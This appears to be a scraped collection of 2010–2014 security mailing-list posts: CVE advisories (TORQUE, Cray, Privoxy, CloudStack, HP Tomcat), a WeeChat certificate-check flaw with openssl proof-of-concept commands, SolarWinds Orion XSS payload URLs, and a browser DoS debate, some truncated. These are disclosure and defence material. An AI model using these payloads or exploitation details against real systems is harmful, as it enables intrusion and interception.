source code It's here: https://checkssh.com/result/indexdotphp.txt Extremely short and easy to read. trust the service operators Hey, trust your own eyes. :-) Feel free to audit/use our code. a better solution is to use Monkeysphere Professional certificate authority vs OpenPGP web of trust Personally I feel more comfortable with CA. Best Wishes, On 2014-9-2 02:48, maxigas wrote: From: John Leo john...@checkssh.com Subject: [FD] SSH host key fingerprint - through HTTPS Date: Mon, 01 Sep 2014 12:41:17 +0800 This tool displays SSH host key fingerprint - through HTTPS. SSH is about security; host key matters a lot here; and you can know for sure by using this tool. It means you know precisely how to answer this question: The authenticity of host 'blah.blah.blah (10.10.10.10)' can't be established. RSA key fingerprint is a4:d9:a4:d9:a4:d9a4:d9:a4:d9a4:d9a4:d9a4:d9a4:d9a4:d9. Are you sure you want to continue connecting (yes/no)? https://checkssh.com/ We hackers don't want to get hacked. :-) SSH rocks - when host key is right. Enjoy! Excellent point and thanks for the tool! Indeed, fingerprint verification is the absolute weak point of SSH. Here the problem is that you have to trust the service operators when you use checkssh or set up your own. Is the source code available somewhere? Also, a better solution is to use Monkeysphere which uses the public key infrastructure of PGP. It can not just check your SSH fingerprints automatically but do a whole lot of other things: http://web.monkeysphere.info/ -- maxigas, kiberpunk FA00 8129 13E9 2617 C614 0901 7879 63BC 287E D166 http://research.metatron.ai/ People the switches!
SSH host key fingerprint - through HTTPS
This tool displays SSH host key fingerprint - through HTTPS. SSH is about security; host key matters a lot here; and you can know for sure by using this tool. It means you know precisely how to answer this question: The authenticity of host 'blah.blah.blah (10.10.10.10)' can't be established. RSA key fingerprint is a4:d9:a4:d9:a4:d9a4:d9:a4:d9a4:d9a4:d9a4:d9a4:d9a4:d9. Are you sure you want to continue connecting (yes/no)? https://checkssh.com/ We hackers don't want to get hacked. :-) SSH rocks - when host key is right. Enjoy! Best Wishes,
[CVE-2014-0749] TORQUE Buffer Overflow
A buffer overflow exists in versions of TORQUE which can be exploited in order to remotely execute code from an unauthenticated perspective. This issue is exploitable in all versions of the 2.5 branch, upto and including 2.5.13 Software: TORQUE Affected Versions: All 2.5 releases up to and including 2.5.13 CVE Reference: CVE-2014-0749 Authors: John Fitzpatrick (MWR Labs) Severity: High Risk Vendor: Adaptive Computing Vendor Response: Incorporated MWR supplied fix into 2.5 development branch, no advisory [Description] A buffer overflow exists in older versions of TORQUE which can be exploited in order to remotely execute code from an unauthenticated perspective. This issue is exploitable in all versions of the 2.5 branch, up to and including 2.5.13. [Impact] Successful exploitation allows remote execution of code as root. [Cause] This issue exists as a result of a misplaced bounds check. [Solution] Despite still being widely used Torque 2.5.x is now end of life and no longer supported by Adaptive. The latest version of the 2.5 branch (2.5.13) is vulnerable to this issue. MWR have submitted a fix to the 2.5-dev GitHub repository (which is still active) which resolves this issue. It is strongly recommended that a version of 2.5-dev (later than pull request #171) is updated to. Code changes in the 4.2.x branch significantly enhance the security posture of TORQUE and so MWR would recommend updating to this branch if possible. [Technical Details] TORQUE is a widely used resource manager. There are several branches 2.x, 3.x and 4.×. The code is open source, but maintained by Adaptive Computing. Operations such as job submissions and querying of job queues within TORQUE are handled by the pbs_server component. It was found that the pbs_server did not perform sufficient bounds checking on messages sent to it. As a result it was found to be possible to submit messages which resulted in an overflow leading to arbitrary code execution. This could be achieved from a remote, unauthenticated perspective regardless of whether the source IP address is permitted to submit jobs or not. The vulnerability exists because the file disrsi_.c fails to ensure that the length of count (which is read from the request packet) is less than dis_umaxd prior to being used in a later memcpy(). As a result a specially crafted request can smuggle through a count value which is later decremented and becomes the ct value in a memcpy() made from within tcp_gets(): memcpy((char *)str, tp-tdis_leadp, ct); This failure to validate count allows control over the size of the memcpy() to be leveraged and as a result control over the amount of data read from the remainder of the packet. If this value is large the memcpy() will overwrite the stack and so can be leveraged in order to gain control over the execution of the program. A backtrace showing the flow of execution is shown below: #0 0x003dd4a88b9a in memcpy () from /lib64/libc.so.6 #1 0x7fa0008cb65b in tcp_gets (fd=11, str=0x7fff8dfce741 '3' repeats 26 times, Ab1Ab2Ab3, ct=332) at ../Libifl/tcp_dis.c:567 #2 0x7fa0008be994 in disrsi_ (stream=11, negate=0x7fff8dfce93c, value=0x7fff8dfce938, count=333) at ../Libdis/disrsi_.c:187 #3 0x7fa0008bea1a in disrsi_ (stream=11, negate=0x7fff8dfce93c, value=0x7fff8dfce938, count=value optimized out) at ../Libdis/disrsi_.c:216 #4 0x7fa0008bea1a in disrsi_ (stream=11, negate=0x7fff8dfce93c, value=0x7fff8dfce938, count=value optimized out) at ../Libdis/disrsi_.c:216 #5 0x7fa0008bdfab in disrfst (stream=11, achars=33, value=0x27f0b58 ) at ../Libdis/disrfst.c:125 #6 0x7fa0008c13ba in decode_DIS_ReqHdr (sock=11, preq=0x27f0b20, proto_type=0x7fff8dfce9dc, proto_ver=0x7fff8dfce9d8) at ../Libifl/dec_ReqHdr.c:141 #7 0x00409ba1 in dis_request_read (sfds=11, request=0x27f0b20) at dis_read.c:137 #8 0x0041cb6e in process_request (sfds=11) at process_request.c:355 #9 0x7fa0008d4899 in wait_request (waittime=value optimized out, SState=0x72c258) at ../Libnet/net_server.c:508 #10 0x0041afeb in main_loop () at pbsd_main.c:1203 #11 0x0041bd15 in main (argc=value optimized out, argv=value optimized out) at pbsd_main.c:1760 TORQUE is required to run as root and so successful exploitation leads to code execution as root. MWR have created a proof of concept exploit for TORQUE running on 64bit versions of CentOS which makes use of return oriented programming and ROP gadgets in order to execute arbitrary code as root. This vulnerability can be exploited reliably and remotely. It is possible to reach this path of execution from a remote and unauthenticated perspective (and regardless of whether the attackers system is in the acl_hosts list or not). It is expected that code execution within a 32bit environment is simpler to achieve. Whilst the necessary bounds check was found to be missing from all versions of TORQUE reviewed this issue was only found
[mwrlabs advisory][CVE-2014-0748] Cray Aprun/Apinit Privilege Escalation
Cray Aprun/Apinit Privilege Escalation == MWR have identified a vulnerability which allows users to escalate their privileges to root on Cray supercomputers. This advisory details the vulnerability and the patches which Cray customers can apply in order to mitigate this issue. [Software]: Aprun/apinit (Cray) [Affected Versions]: This issue was resolved in CLE 5.1.UP00 CLE 4.2.UP02 [CVE Reference]: CVE-2014-0748 [Authors]: John Fitzpatrick Luke Jennings [Severity]: High Risk [Vendor]: Cray inc. [Vendor Response]: Acknowledged, resolved, update provided Description === Apinit and aprun are utilities used to schedule tasks on Cray supercomputers. Apinit runs as a service on compute nodes, and aprun is used to communicate with these nodes. The apinit service does not safely validate messages supplied to it through the use of aprun. Users of Cray systems are able to exploit this weakness in order to execute commands on the compute nodes of a Cray supercomputer as arbitrary users, including root (UID 0). Impact == Successful exploitation allows code execution as root on a compute node. Cause = The vulnerability is caused due to a failure to appropriately validate the content of launch messages sent from the aprun utility. Interim Workaround == N/A, Cray have provided appropriate patches for this issue. Solution Cray have addressed this issue in CLE 5.1.UP00 and CLE 4.2.UP02. Applying these updates will mitigate this issue. The Cray ID for this issue is FN5912. Technical Details = On Cray supercomputers, the aprun command provides an interface for users to submit jobs for execution on compute nodes. An example of this is as follows: gibson$ aprun command When aprun is executed, it receives a placement list of nodes from the Application Level Placement Scheduler (ALPS) detailing the compute nodes available for execution of the job. On receiving this listing, aprun then sends a launch message to the apinit daemon running on the first compute node in this list. The launch message contains various pieces of information, including the user ID (UID) under which the job will be executed. However, it was found that apinit was not validating the UID received from within this message against the trusted UID received over the privileged alpsauth connection. As a result, when apinit forks its child process (referred to as the apshepherd or just shepherd process) to launch and manage the application, the application is run under the UID specified in this launch message. The UID within the launch message is determined by a call to getuid(), and therefore is controllable by the calling user. For example, an attacker could patch the return value from this call at runtime as aprun executes. This attack can be performed by any user of the system to escalate privileges to any other system user. Detailed Timeline = Date Summary 19/07/2013 Issue reported to Cray 19/07/2013 Acknowledgement by Cray and further details provided 20/07/2013 Issue corrected and testing underway 25/07/2013 Testing completed, patch distributed to Cray customers https://labs.mwrinfosecurity.com/advisories/2014/01/31/cray-aprunapinit-privilege-escalation/
WebSurgery v1.1 released (Web application security testing suite)
Overview Sunrise is proudly announces WebSurgery v1.1! WebSurgery is a suite of tools for security testing of web applications. It is designed to address the ongoing needs of security auditors so to facilitate them with web application planning and exploitation. Suite currently contains a spectrum of efficient, fast and stable web tools (Crawler, Bruteforcer, Fuzzer, Proxy, Editor) and some extra functionality tools (Scripting Filters, List Generator, External Proxy). Tools - Crawler Crawler is designed to be fast, accurate, stable and completely parameterized using advanced techniques to extract links from HTML, CSS, Javascript and AJAX. - Bruteforcer Bruteforcer for files and directories within the web application which helps to identify the hidden structure. - Fuzzer Fuzzer is a highly advanced tool to create a number of requests based on one initial request. Can be used to exploit (Blind) SQL Injections, Cross Site Scripting (XSS), Denial of Service (DOS), Bruteforce for Username / Password Authentication Login Forms and identification of Improper Input Handling and Firewall / Filtering Rules. - Proxy Proxy is a server running locally and will allow you to analyze, intercept and manipulate HTTP/HTTPS requests coming from your browser or other application which support proxies. - Editor Advanced ASCII/HEX Editor to manipulate individual requests. Extra - Scripting Filters Advanced Scripting Filters to filter specific requests / responses with support of regular expressions and large number of variables. - List Generator List Generator for different list types (File, Charset, Numbers, Dates, IP Addresses, Custom) with additional rules support. - External Proxy External Proxy redirects suite's traffic to another HTTP/SOCKS proxy. Download Documentation == http://sunrisetech.gr/?page=websurgerytab=download Best regards, John Stamatakis Sunrise Technologies
WebSurgery v1.1 released (Web application security testing suite)
Overview Sunrise is proudly announces WebSurgery v1.1! WebSurgery is a suite of tools for security testing of web applications. It is designed to address the ongoing needs of security auditors so to facilitate them with web application planning and exploitation. Suite currently contains a spectrum of efficient, fast and stable web tools (Crawler, Bruteforcer, Fuzzer, Proxy, Editor) and some extra functionality tools (Scripting Filters, List Generator, External Proxy). Tools - Crawler Crawler is designed to be fast, accurate, stable and completely parameterized using advanced techniques to extract links from HTML, CSS, Javascript and AJAX. - Bruteforcer Bruteforcer for files and directories within the web application which helps to identify the hidden structure. - Fuzzer Fuzzer is a highly advanced tool to create a number of requests based on one initial request. Can be used to exploit (Blind) SQL Injections, Cross Site Scripting (XSS), Denial of Service (DOS), Bruteforce for Username / Password Authentication Login Forms and identification of Improper Input Handling and Firewall / Filtering Rules. - Proxy Proxy is a server running locally and will allow you to analyze, intercept and manipulate HTTP/HTTPS requests coming from your browser or other application which support proxies. - Editor Advanced ASCII/HEX Editor to manipulate individual requests. Extra - Scripting Filters Advanced Scripting Filters to filter specific requests / responses with support of regular expressions and large number of variables. - List Generator List Generator for different list types (File, Charset, Numbers, Dates, IP Addresses, Custom) with additional rules support. - External Proxy External Proxy redirects suite's traffic to another HTTP/SOCKS proxy. Download Documentation == http://sunrisetech.gr/?page=websurgerytab=download Best regards, John Stamatakis Sunrise Technologies
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
APR_USE_PTHREAD_SERIALIZE
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=128
-D HTTPD_ROOT=/etc/apache2
-D SUEXEC_BIN=/usr/lib/apache2/suexec
-D DEFAULT_PIDLOG=/var/run/apache2.pid
-D DEFAULT_SCOREBOARD=logs/apache_runtime_status
-D DEFAULT_ERRORLOG=logs/error_log
-D AP_TYPES_CONFIG_FILE=mime.types
-D SERVER_CONFIG_FILE=apache2.conf
Cheers,
/Kingcope
--
--
Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P
I.T Security Analyst and Penetration Tester
jgichuki at inbox d0t com
{FORUM}http://lists.my.co.ke/pipermail/security/
http://chuksjonia.blogspot.com/
Privoxy Proxy Authentication Credential Exposure - CVE-2013-2503
Privoxy Proxy Authentication Credential Exposure Product: Privoxy Project Homepage: privoxy.org Advisory ID: c22-2013-01 Vulnerable Version(s): 3.0.20 (and possibly prior) Tested Version: 3.0.20-1 (tested using Debian Sid) Vendor Notification: March 6, 2013 Public Disclosure: March 11, 2013 Vulnerability Type: Insufficiently Protected Credentials [CWE-522] CVE Reference: CVE-2013-2503 Risk Level: Medium CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:P/I:N/A:N) Discovery: Chris John Riley ( http://blog.c22.cc ) Advisory Details: During research into browser and proxy server handling of HTTP Response Codes, an issue with the way that Privoxy handles HTTP Response code 407 Proxy Authentication Required was discovered. Privoxy in versions 3.0.20 (and possibly prior) ignores the presence of Proxy-Authenticate and Proxy-Authorization headers and allows these values to be passed to and from a remote server without modification. The resulting behavior could allow a malicious websites to spoof a Proxy-Authentication response appearing to originate from the Privoxy service. The Privoxy user will then be prompted for a username and password that appears to originate from the Privoxy software. Scenario: 1) A Privoxy user visits a website using a browser of their choice 2) The remote website responds to the request with a 407 Proxy Authentication Required HTTP response code and the appropriate Proxy-Authenticate: Basic HTTP response header 3) This response is passed through the Privoxy service without modification to the users browser 4) As the browser is configured to use a proxy server, the browser believes that the upstream proxy (Privoxy) has requested authentication and prompts the user for a username and password. This prompt states that the proxy server at 127.0.0.1:8118 requires authentication (this prompt may vary if Privoxy is running on a machine other than localhost and/or on a non-default port number) 5) If the user enters a username and password, the browser will send a request through Privoxy to the remote website with a Proxy-Authorization: HTTP request header (where XXX is a base64 encoded version of the username and password the user entered at the browsers proxy authentication prompt) 6) The remote website receives this header and can store or re-use these captured credentials Proof of Concept: http://c22.cc/POC/c22-2013-01.php The above URL will respond with a Proxy-Authenticate: basic header when a request is received that does no contain a Proxy-Authorization header. This will prompt the users browser to request a username/password from the user. If you enter a value in the username/password box and click ok, it will send a Base64 encoded version to the remote website (the server will display the response headers at the bottom of the resulting page under request headers (one of the values will be Proxy-Authorization with a base64 encoded version of the entered username/password). For a full walkthrough it is suggested to capture this in your favourite packet capture program and walk through the requests to view the entire process. Note -- The above POC does not store any data sent to the server, however it is suggested to use bogus credentials if testing this proof of concept. Solution: The following solution was suggested and implemented in Privoxy 3.0.21 stable. Proxy authentication headers are removed unless the new directive enable-proxy-authentication-forwarding is used. Forwarding the headers potentionally allows malicious sites to trick the user into providing it with login information. References: Privoxy 3.0.21 ChangeLog -- http://ijbswa.cvs.sourceforge.net/viewvc/ijbswa/current/ChangeLog?revision=1.188view=markup Vulnerability Timeline: March 5, 2013 20:00 - Initial discovery of vulnerability March 6, 2013 14:48 Emailed Privoxy developer list to request a security contact March 6, 2013 15:26 Received response with dedicated security contact information March 6, 2013 16:01 Emailed details of the vulnerability to security contact March 6, 2013 17:19 Received response acknowledging issue. Fix indicated in upcoming release March 6, 2013 18:38 Acknowledged receipt of email and advised of updated CVSSv2 score March 7, 2013 15:50 Received response detailing proposed fix, including link to CVS check-in of new code March 7, 2013 18:48 Acknowledged receipt of email March 9, 2013 16:54 Emailed CVE number to security contact and requested information on release plans March 10, 2013 14:28 Received confirmation of release timeline March 10, 2013 14:58 - Release of Privoxy 3.0.21 stable March 11, 2013 07:45 - Release of advisory -- -- • Chris John Riley • • http://blog.c22.cc • -- -- All emails ROT-26 encrypted --
[CVE-2012-4501] CloudStack configuration vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 CVE-2012-4501: Apache CloudStack configuration vulnerability Severity: Critical Vendors: The Apache Software Foundation Citrix, Inc. Versions Affected: As no official releases have been made, this does not affect any official Apache CloudStack releases. Anybody using a version of CloudStack generated from the Apache CloudStack source tree prior to October 7th, 2012 will need to take the actions specified below. Please note this includes both Citrix CloudStack commercial and open-source, pre-ASF versions. Description: The CloudStack PPMC was notified of a configuration vulnerability that exists in development versions of the Apache Incubated CloudStack project. This vulnerability allows a malicious user to execute arbitrary CloudStack API calls. A malicious user could, for example, delete all VMs in the system. Addressing this issue is especially important for anybody using CloudStack in a public environment. Mitigation: 1) Login to the CloudStack Database via MySQL $ mysql -u cloud -p -h host-ip-address (enter password as prompted) 2) Disable the system user and set a random password: mysql update cloud.user set password=RAND() where id=1; 3) Exit MySQL mysql \q Alternatively, users can update to a version of CloudStack based on the git repository on or after October 7th, 2012. Credit: This issue was identified by Hugo Trippaers of Schuberg Philis. -BEGIN PGP SIGNATURE- Version: GnuPG/MacGPG2 v2.0.17 (Darwin) Comment: GPGTools - http://gpgtools.org Comment: Using GnuPG with Mozilla - http://www.enigmail.net/ iQIcBAEBCgAGBQJQcebmAAoJEOom9N0pCN7SdZwQAKd82/zTgWAMibLYhgnsiKDo hJ/O0kNxP3MUGN5L131K61titfZ9se37z2dmBpBEYKc5X3jHkbnG+o7vPSyD9Bc6 +UzddIkkUy/eXZSNuFXdth+GTFKuCBhbMpWzRYYzXLU+v6G8YqwdZGdUyNTp8oi1 MnQ/2KvLCAi5hiG1YeZCXnNdDyv2fLGW6phbS5UTsG8OLUDZe2Ycerjw+zl88BCi MhgHpBwOti8mikTrodEWG5lSlIksVOHnLPA2Ycz4QSGnqK6VhyCfQWNJeMq+/TGK JYc30c0DiUsCDjXCsymxWyEmK9ePFWxOLzvFYYRA/Iuhg9J89ADvHr1JM8QEoFGV cOt1YLV+zTKuUhxCx0nHTVUxBS9A2Giez3GyPQ+WmW7ph2erC7GL7oKdLtdgJBBc odlf8F+0xREQocqi85t9v65PDXRjOdmAfaGwogzibIA9sweDlefhMTzCgSsAtIKF +hkHqZD2oRP4YxQ05vp8CSXBf4UCVx7169nSu9GA3HjllsXNqyhY0h1hjkZkBcd1 To5Rfd0bVNNoxMyfdCA9sd5fQZ1XTivwRpBGkEWJirxM7Z7hFddDQdqebeeBExk/ yE+geeNcK2RMl5Tqtzkbs9DeLnijJyRuU1xzRHQOsXLSp/RYaZlrEnd/UzxZ+9up bvYem89raMxulY7lzngu =+bQS -END PGP SIGNATURE-
weechat does not properly use gnutls and allow an attacker to bypass certificate verification
About WeeChat: WeeChat is a fast, light and extensible chat client. It runs on many platforms (including Linux, BSD and Mac OS). Development is very active, and bug fixes are very fast! The vuln: Weechat does not use the GnuTLS API properly to check certificates, potentially exposing users to man-in-the-middle attacks. Weechat registers a callback function to be called by GnuTLS during the TLS/SSL handshake. The function perform checks on the server certificate and optionally, send a client certificate. The mentioned code is located in src/core/wee-network.c in the network_init function: gnutls_certificate_client_set_retrieve_function (gnutls_xcred, hook_connect_gnutls_set_certificates); Excerpt from gnutls's doc: gnutls_certificate_client_set_retrieve_function sets a callback to be called in order to retrieve the certificate to be used in the handshake. (...) If the callback function is provided then gnutls will call it, in the handshake, after the certificate request message has been received. This callback function will only be called when the server ask for a client certificate during the handshake, but weechat also use this callback to check the server certificate. As specified in the rfc2246 at 7.4.6., the certificate request is optionnal: 7.4.6. Client certificate When this message will be sent: This is the first message the client can send after receiving a server hello done message. This message is only sent if the server requests a certificate. So when the server does not request a client certificate, hook_connect_gnutls_set_certificates is never called and weechat does not perform any check on the server certificate. It doesn't print any of the usual information about the dh key size and the content of the server certificate either. POC: $ openssl genrsa -out server.key 4096 $ openssl req -new -key server.key -out server.csr $ openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt $ openssl dhparam -outform PEM -out dhparam.pem 4096 $ openssl s_server -cert server.crt -key server.key -dhparam dhparam.pem -accept 6697 ./log $ weechat-curses ircs://127.0.0.1:6697 # will not check the certificate $ fg ^C $ openssl s_server -cert server.crt -key server.key -dhparam dhparam.pem -accept 6697 -verify yes ./log2 $ weechat-curses ircs://127.0.0.1:6697 # will print an error because the certificate is self signed This problem affects all versions. The maintainer has been contacted and a fix should be published. someday... A beta fix is availaible here: http://savannah.nongnu.org/patch/index.php?7459
RE: [Full-disclosure] Linux kernel exploit
I've included here a proof-of-concept local privilege escalation exploit for Linux. Please read the header for an explanation of what's going on. Without further ado, I present full-nelson.c: Hello Dan, is this exploitation not mitigated by best practice defense-in-depth strategies such as preventing the CAP_SYS_MODULE capability or '/sbin/sysctl -w kernel.modules_disabled=1' respectively? It seems it'd certainly stop the Econet/Acorn issue. Curious to hear your input as I fear too many rely solely on errata updates and not a good defense-in-depth approach. Happy hacking, Dan Cheers, John Jacobs
Multiple XSS in Solarwinds Orion NPM 10.1
Values placed in the URI of the browser are rendered correctly. Orion NPM 10.1 has just been released, so there is no known fix available as of yet. Examples: Most variable= that I've checked are vulnerable: http://server/Orion/NetPerfMon/MapView.aspx?Map=4f89095c-35fa-4b1b-813f-231270=0225b7.OrionMapTitle=%3Cscript%3Ealert%28%27test%27%29%3C/script%3E http://server/Orion/NetPerfMon/NodeDetails.aspx?NetObject=%3Cscript%3Ealert%28=%27test%27%29%3C/script%3E http://server/Orion/NPM/InterfaceDetails.aspx?NetObject=%3Cscript%3Ealert%28%2=7test%27%29%3C/script%3EI:100view=InterfaceDetails http://server/Orion/NetPerfMon/CustomChart.aspx?ChartName=%3Cscript%3Ealert%28=%27test%27%29%3C/script%3ETitle=SubTitle=SubTitle2=Width=0Height=0NetObject=I:100CustomPollerID=Rows=SampleSize=1MPeriod=YesterdayPlotStyle=FontSize=1NetObjectPrefix=ISubsetColor=R=YSubsetColor=ResourceID=57ShowTrend=TrueReturnTo= If you need more information please let me know. Is there a template I should fill out for these reports? If this is published, please publish under x0skel and NOT my name Thanks, John
[security bulletin] HPSBUX02541 SSRT100145 rev.1 - HP-UX Running Tomcat Servlet Engine, Remote Increase in Privilege, Arbitrary File
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c02241113 Version: 1 HPSBUX02541 SSRT100145 rev.1 - HP-UX Running Tomcat Servlet Engine, Remote Increase in Privilege, Arbitrary File Modification NOTICE: The information in this Security Bulletin should be acted upon as soon as possible. Release Date: 2010-06-16 Last Updated: 2010-06-16 Potential Security Impact: Remote increase in privilege, arbitrary file modification Source: Hewlett-Packard Company, HP Software Security Response Team VULNERABILITY SUMMARY Potential security vulnerabilities have been identified with HP-UX running Tomcat-based Servlet Engine. The vulnerabilities could be exploited remotely to increase privilege or arbitrarily modify files. Tomcat-based Servlet Engine is contained in the Apache Web Server Suite. References: CVE-2009-2693, CVE-2009-2902, CVE-2009-3548. SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. HP-UX B.11.11, B.11.23 and B.11.31 running Tomcat-based Servlet Engine v5.5.27.03 or earlier BACKGROUND CVSS 2.0 Base Metrics === Reference Base Vector Base Score CVE-2009-2693(AV:N/AC:M/Au:N/C:N/I:P/A:P) 5.8 CVE-2009-2902(AV:N/AC:M/Au:N/C:N/I:P/A:N) 4.3 CVE-2009-3548(AV:N/AC:L/Au:N/C:P/I:P/A:P) 7.5 === Information on CVSS is documented in HP Customer Notice: HPSN-2008-002 RESOLUTION HP has provided the following upgrades to resolve these vulnerabilities. The upgrades are available from the following location URL http://software.hp.com Note: Both HP-UX Web Server Suite v3.10 and v2.31 contain HP-UX Tomcat-based Servlet Engine v5.5.29.01 Web Server Suite Version / Apache Depot name HP-UX Web Server Suite v3.10 HPUXWS22ATW-B310-64.depot HPUXWS22ATW-B310-32.depot HP-UX Web Server Suite v2.31 HPUXWSATW-B231-.depot HPUXWSATW-B231-32.depot HPUXWSATW-B231-64.depot HPUXWSATW-B231-32-1131.depot HPUXWSATW-B231-64-1131.depot MANUAL ACTIONS: Yes - Update Install Tomcat-based Servlet Engine from the Apache Web Server Suite v5.5.29.01 or subsequent PRODUCT SPECIFIC INFORMATION HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see: https://www.hp.com/go/swa The following text is for use by the HP-UX Software Assistant. AFFECTED VERSIONS For HP-UX Web Server Suite v3.10 HP-UX B.11.23 == hpuxws22TOMCAT.TOMCAT action: install revision B.5.5.29.01 or subsequent HP-UX B.11.31 == hpuxws22TOMCAT.TOMCAT action: install revision B.5.5.29.01 or subsequent HP-UX Web Server Suite v2.31 HP-UX B.11.11 == hpuxwsTOMCAT.TOMCAT action: install revision B.5.5.29.01 or subsequent HP-UX B.11.23 == hpuxwsTOMCAT.TOMCAT action: install revision B.5.5.29.01 or subsequent HP-UX B.11.31 == hpuxwsTOMCAT.TOMCAT action: install revision B.5.5.29.01 or subsequent END AFFECTED VERSIONS HISTORY Version:1 (rev.1) 16 June 2010 Initial release Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy. Support: For further information, contact normal HP Services support channel. Report: To report a potential security vulnerability with any HP supported product, send Email to: security-al...@hp.com It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information. To get the security-alert PGP key, please send an e-mail message as follows: To: security-al...@hp.com Subject: get key Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email: http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NAlangcode=USENGjumpid=in_SC-GEN__driverITRCtopiccode=ITRC On the web page: ITRC security bulletins and patch sign-up Under Step1: your ITRC security bulletins and patches -check ALL categories for which alerts are required and continue. Under Step2: your ITRC operating systems -verify your operating system selections are checked and save. To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php Log in on the web page: Subscriber's choice for Business: sign-in. On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections. To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do * The Software Product Category that this Security
Re: Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit
Exploit failed You are unlucky. Even on default installation from the link above. Regards, Jaison
Re: DoS vulnerabilities in Firefox, Internet Explorer, Chrome and Opera
Hi Mustlive, I'm not sure if there's a need to discuss or clarify this any further. Please refer to my earlier posts, and for the sake of saving some of our time efforts, avoid drawing tangents about scripts and noscripts (I've clarified both earlier) weasel words (security vulnerability and nntp exploit - irrelevent in this case). JS or no-JS, this issue is nothing new, this behavior is well-defined and a necessity and definitely not a URI (of any kind) exploit or a security vulnerability. Some last specifics (mostly reiterating what I said in my earlier posts) - 1. You can take this issue up with the content aggregators (CDN etc) and or website programmers, this is not an issue to be addressed by the webbrowsers because the solution of it remains imperfect in theory (one of my posts have a 'workaround'...maybe a 'good to have' feature which WILL open up another can of worms...). 2. Now the even vague non-scripted issue which you insist upon - If you are trying to say that a 1000 lines of iframe src='nntp:something'/ (which is executed sequentially by any JVM as a fact) is an 'exploit' and 'security vulnerability', isn't there a HUGE point missing? NOTE: again, I'm not sure why you claim its an 'nntp' exploit. As I noted earlier, its applicable to any uri handler and their behaviour is nothing unexpected. 3. Your POC had used JS and is non-functional without scripting enabled. It was taken offline since I last checked (my 2nd last post?), which should have been your sample reference for this discussion (its appearing to shift now). Best Regards, w -- From: MustLive mustl...@websecurity.com.ua Sent: Monday, May 31, 2010 9:33 PM To: Susan Bradley sbrad...@pacbell.net Cc: bugtraq@securityfocus.com Subject: Re: DoS vulnerabilities in Firefox, Internet Explorer, Chrome and Opera Hello Susan and other readers, who replied to my previous advisory. Earlier I've already answered Vladimir, now I'd answer Susan and soon I'd answer John. But now one important note to every reader of the list, including John Smith. Which I already wrote about 1,5 week ago (after posting of a first advisory about DoS in browsers) to one reader of Full-disclosure who inattentively read that advisory (he missed message about attacking without JS) and also to Mozilla (who became discussing this issue and only drew attention to attacking with JS vector). That, as I wrote in both advisories, this attack via iframes can also be conducted without JavaScript. So even turning JS off will not help. Due to advantages of JS exploit for these vulnerabilities over non-JS exploit, I wrote JavaScript exploits for these advisories and I'd write for future advisories (but I'd be reminding about possibility of attacking without JS). But soon I'll present one exploit also in pure-iframe version (without JS) for Internet Explorer and other applications - in case when small amount of iframes lead to crash. Thank you. Now if you could wait for patches before disclosing I'd be even happier. Susan, you are welcome. I would be happy to wait for patches of browser vendors, but as already told you in details, it's not possible due to behavior of browser vendors. All they mostly ignore such holes, all they don't count DoS as vulnerabilities, they called them stability issues and so don't attend to them seriously (and not fixing or fixing slowly). I don't respect such statement as stability issues for DoS holes, and during 2008-2010 I worked hard to change vendors' mind on this issue, but they still ignore it. Also, as I already told you, they never told if they fixed or not such holes (especially taking into account that they almost always ignore my letters with such holes or, as Opera did few times, answering with it's stability issues statement). So I have no possibility to know from them if they fixed it or not - and because they don't care about such issues (ignoring them or calling them stability issues), they never mentioned about them in vendors advisories. Only one time Microsoft informed me about fixing DoS hole in Outlook - even they called it stability issue they informed me after they released a patch for it (which was serious approach, but not Microsoft for IE, nor other vendors use such approach for DoS holes in browsers). But take into account that I informed (at 26.05.2010) all four browser vendors about many vulnerabilities, which I'll disclose in the future. So they are informed for long time in advance :-). And so you have no need to worry, because with every day they become more and more informed long time ago and have more and more days to fix these holes. Best wishes regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua - Original Message - From: Susan Bradley sbrad...@pacbell.net To: MustLive mustl...@websecurity.com.ua Cc: bugtraq@securityfocus.com Sent: Friday, May 28, 2010 7:06 PM Subject
Re: Re[4]: DoS vulnerabilities in Firefox, Internet Explorer, Chrome, Opera and other browsers
Hi Vladimir,
Thanks for your views.
I was carried away because the author used scripts (in a global script tag)
in the PoC of the issue in question which made unconditional recursion
possible.
Without scripts enabled, if iframe's src property is set to itself(?), it is
parsed upto 1 level (i.e. not recursed). Hence it doesn't affect or DoS the
latest browsers (the best I can say...).
A few other points:
1. if a links/ads or any other content-syndication provider allow unverified
javascript to be served, DoS would be the least of the concern (read: it’s
the breeding ground of XSS exploits)
2. I more than agree that an issue to be classified as a security
vulnerability if a combination of tags/properties/scripts causes or is
capable of causing malice in any form while conforming to the standards
(which isn't the case here).
3. Just to reiterate my earlier post, DoS is more of an annoyance than
malice. If the issue noted in this context DoS by a form of unconditional
recursion (or infinite loop) to create 'out of memory' or stack overflow
sortof situation (though modern uri handlers handle it gracefully) but
requires a task kill operation on the script engine's host (the browser in
this context).
Sadly, there're too many known unknowns to the #2 above which involves the
support of non-standard techniques like Anti-Phishing Working
Group/SmartScreen filter etc which doesn't attempt to or can be absolutely
100% fool-proof...
Best Regards,
w
PS: Lets put IE6 out of context, I'm not sure why it is still brought up or
why it's still used, because it’s a browser from the times when the first
